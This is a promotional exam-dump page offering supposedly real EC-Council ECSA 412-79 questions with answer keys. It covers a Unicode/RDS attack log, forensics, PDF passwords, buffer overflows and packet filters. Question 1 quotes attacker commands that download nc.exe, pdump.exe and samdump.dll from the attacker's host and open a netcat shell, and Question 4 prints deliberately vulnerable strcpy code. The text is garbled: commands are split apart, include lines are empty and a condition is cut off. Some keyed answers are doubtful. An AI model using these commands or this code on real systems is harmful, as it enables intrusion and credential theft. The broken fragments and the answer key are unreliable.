412-79 Q&As

EC-Council Certified Security Analyst (ECSA)

Pass EC-COUNCIL 412-79 Exam with 100% Guarantee

Free Download Real Questions & Answers **PDF** and **VCE** file from:

https://www.pass4itsure.com/412-79.html

100% Passing Guarantee
100% Money Back Assurance

Following Questions and Answers are all new published by EC-COUNCIL Official Exam Center

QUESTION 1

The following excerpt is taken from a honeypot log that was hosted at laB. wiretrip.net. Snort reported Unicode attacks from 213.116.251.162. The File Permission Canonicalization vulnerability (UNICODE attack) allows scripts to be run in

arbitrary folders that do not normally have the right to run scripts. The attacker tries a Unicode attack and eventually succeeds in displaying boot.ini. He then switches to playing with RDS, via msadcs.dll. The RDS vulnerability allows a

malicious user to construct SQL statements that will execute shell commands (such as CMD. EXE) on the IIS server. He does a quick query to discover that the directory exists, and a query to msadcs.dll shows that it is functioning correctly.

The attacker makes a RDS query which results in the commands run as shown below.

“cmd1.exe /c open 213.116.251.162 >ftpcom”

“cmd1.exe /c echo johna2k >>ftpcom”

“cmd1.exe /c echo

haxedj00 >>ftpcom”

“cmd1.exe /c echo get n

C.

exe >>ftpcom”

“cmd1.exe /c echo get pdump.exe >>ftpcom”

“cmd1.exe /c echo get samdump.dll >>ftpcom”

“cmd1.exe /c echo quit >>ftpcom”

“cmd1.exe /c ftps:

ftpcom”

“cmd1.exe /c nc

-l -p 6969 e cmd1.exe”

What can you infer from the exploit given?

A. It is a local exploit where the attacker logs in using username johna2k

B. There are two attackers on the system -johna2k and haxedj00

C. The attack is a remote exploit and the hacker downloads three files

D. The attacker is unsuccessful in spawning a shell as he has specified a high end UDP port

Correct Answer: C

QUESTION 2

If a suspect computer is located in an area that may have toxic chemicals, you must:

A. coordinate with the HAZMAT team

B. determine a way to obtain the suspect computer

C. assume the suspect machine is contaminated

D. do not enter alone

Correct Answer: A

QUESTION 3

Bill is the accounting manager for Grummon and Sons LLC in Chicago. On a regular basis, he needs to send PDF documents containing sensitive information through E-mail to his customers. Bill protects the PDF documents with a password and sends them to their intended recipients. Why PDF passwords do not offer maximum protection?

A. PDF passwords can easily be cracked by software brute force tools

B. PDF passwords are not considered safe by Sarbanes-Oxley

C. PDF passwords are converted to clear text when sent through E-mail

D. When sent through E-mail, PDF passwords are stripped from the document completely

Correct Answer: A

QUESTION 4

Kyle is performing the final testing of an application he developed for the accounting department. His last round of testing is to ensure that the program is as secure as possible. Kyle runs the following command. What is he testing at this point?

```
#include

#include

int main(int argc, char *argv[])

{

char buffer[10];

if (argc

{

fprintf(stderr, "USAGE: %s string\n", argv[0]);
return 1;

}

strcpy(buffer, argv[1]);

return 0;

}
```

A. Buffer overflow

B. Format string bug

C. Kernal injection

D. SQL injection

Correct Answer: A

QUESTION 5

George is the network administrator of a large Internet company on the west coast. Per corporate policy, none of the employees in the company are allowed to use FTP or SFTP programs without obtaining approval from the IT department. Few managers are using SFTP program on their computers. Before talking to his boss, George wants to have some proof of their activity.

George wants to use Ethereal to monitor network traffic, but only SFTP traffic to and from his network. What filter should George use in Ethereal?

A. net port 22

B. udp port 22 and host 172.16.28.1/24

C. src port 22 and dst port 22

D. src port 23 and dst port 23

Correct Answer: C